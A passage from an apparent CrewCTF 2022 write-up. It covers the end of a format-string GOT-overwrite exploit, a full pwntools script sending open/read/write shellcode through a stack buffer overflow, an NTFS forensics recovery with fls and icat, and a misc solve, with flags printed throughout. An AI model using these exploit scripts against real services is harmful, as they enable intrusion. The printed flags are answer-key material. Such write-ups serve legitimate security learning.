        payload += p64(addr_got_exit + i)
    print(payload)
    return payload


payload = make_payload(addr_win)
io.recvline()
io.send(payload)
io.interactive()

crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}

Wiznu

69 solves

checksec result:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Ghidra decompiler result:

undefined8 main(EVP_PKEY_CTX *param_1)

{
  undefined local_108 [256];
  
  ignore_me();
  init(param_1);
  printf("Special Gift for Special Person : %p\n",local_108);
  printf("> ");
  read(0,local_108,0x120);
  return 0;
}

int init(EVP_PKEY_CTX *ctx)

{
  int iVar1;
  undefined8 uVar2;
  
  uVar2 = seccomp_init(0);
  seccomp_rule_add(uVar2,0x7fff0000,2,0);
  seccomp_rule_add(uVar2,0x7fff0000,0,0);
  seccomp_rule_add(uVar2,0x7fff0000,1,0);
  iVar1 = seccomp_load(uVar2);
  return iVar1;
}

Since the binary is NX disabled, there is a BOF vuln and we know the stack address, we can write shellcode and jump to it by writing stack address to return address. But seccomp in init only allows read, write and open. Therefore I called fp = open("flag"), read(fp, $rsp, 50) and write(1, $rsp, 50) in order.

solve.py
from pwn import *

elf = ELF("./chall")
context.binary = elf

io = remote("wiznu.crewctf-2022.crewc.tf", 1337)
io.recvuntil(b"Special Gift for Special Person : ")
addr_stack = int(io.recvline().strip().decode(), 16)
print(f"{addr_stack = :#x}")

shellcode = asm(shellcraft.open("flag"))
shellcode += asm(shellcraft.read("rax", "rsp", 50))
shellcode += asm(shellcraft.write(1, "rsp", 50))

payload = shellcode.ljust(256+8, b"A") + p64(addr_stack)
print(payload)
io.sendlineafter(b"> ", payload)
io.interactive()

crew{ORW_come_to_the_rescue_st4rn_h3r3!}

forensics

Corrupted

191 solves

Many As are embedded at the begining and end of Corrupted.001. I removed them by hand. After that, file header worked correctly.

$ file Corrupted.001.fix
Corrupted.001.fix: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 81836032, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 102399, $MFT start cluster 4266, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 058fe49e9fe49c04c; contains bootstrap BOOTMGR
$ fls -r Corrupted.001.fix
r/r 4-128-1:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-4:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-4:	$Extend
+ d/d 29-144-2:	$Deleted
+ r/r 25-144-2:	$ObjId:$O
+ r/r 24-144-3:	$Quota:$O
+ r/r 24-144-2:	$Quota:$Q
+ r/r 26-144-2:	$Reparse:$R
+ d/d 27-144-2:	$RmMetadata
++ r/r 28-128-4:	$Repair
++ r/r 28-128-2:	$Repair:$Config
++ d/d 31-144-2:	$Txf
++ d/d 30-144-2:	$TxfLog
+++ r/r 32-128-2:	$Tops
+++ r/r 32-128-4:	$Tops:$T
+++ r/r 33-128-1:	$TxfLog.blf
+++ r/r 34-128-1:	$TxfLogContainer00000000000000000001
+++ r/r 35-128-1:	$TxfLogContainer00000000000000000002
r/r 2-128-1:	$LogFile
r/r 0-128-6:	$MFT
r/r 1-128-1:	$MFTMirr
d/d 51-144-1:	$RECYCLE.BIN
+ d/d 52-144-1:	S-1-5-21-523540568-1582187581-798654756-1000
++ r/r 53-128-1:	desktop.ini
r/r 9-128-8:	$Secure:$SDS
r/r 9-144-11:	$Secure:$SDH
r/r 9-144-14:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 10-128-4:	$UpCase:$Info
r/r 3-128-3:	$Volume
r/r 49-128-1:	0xSh3rl0ck.jpeg
d/d 39-144-5:	pictures
+ r/r 40-128-1:	Capture (1).PNG
+ r/r 41-128-1:	Screenshot (1).png
+ r/r 42-128-1:	Screenshot (12).png
+ r/r 43-128-1:	Screenshot (13).png
+ r/r 44-128-1:	Screenshot (14).png
+ r/r 45-128-1:	Screenshot (15).png
+ r/r 46-128-1:	Screenshot (2).png
+ r/r 47-128-1:	Screenshot (23).png
+ r/r 48-128-1:	Screenshot (3).png
d/d 36-144-1:	System Volume Information
+ r/r 38-128-1:	IndexerVolumeGuid
+ r/r 37-128-1:	WPSettings.dat
r/r 50-128-1:	test.txt
V/V 256:	$OrphanFiles

Capture (1).PNG contained the flag.

$ icat Corrupted.001.fix 40-128-1 > Capture1.png

crew{34sY_C0rrupt3D_GPT}

misc

Where's Waldo

57 solves

Careful observation revealed that there were the same images. The challenge description implied that the flag file was only one. I looked for only one image and the filename of it was the flag (what's intended in this chall..?).

crew{887b7d982a3a8d472b29850c}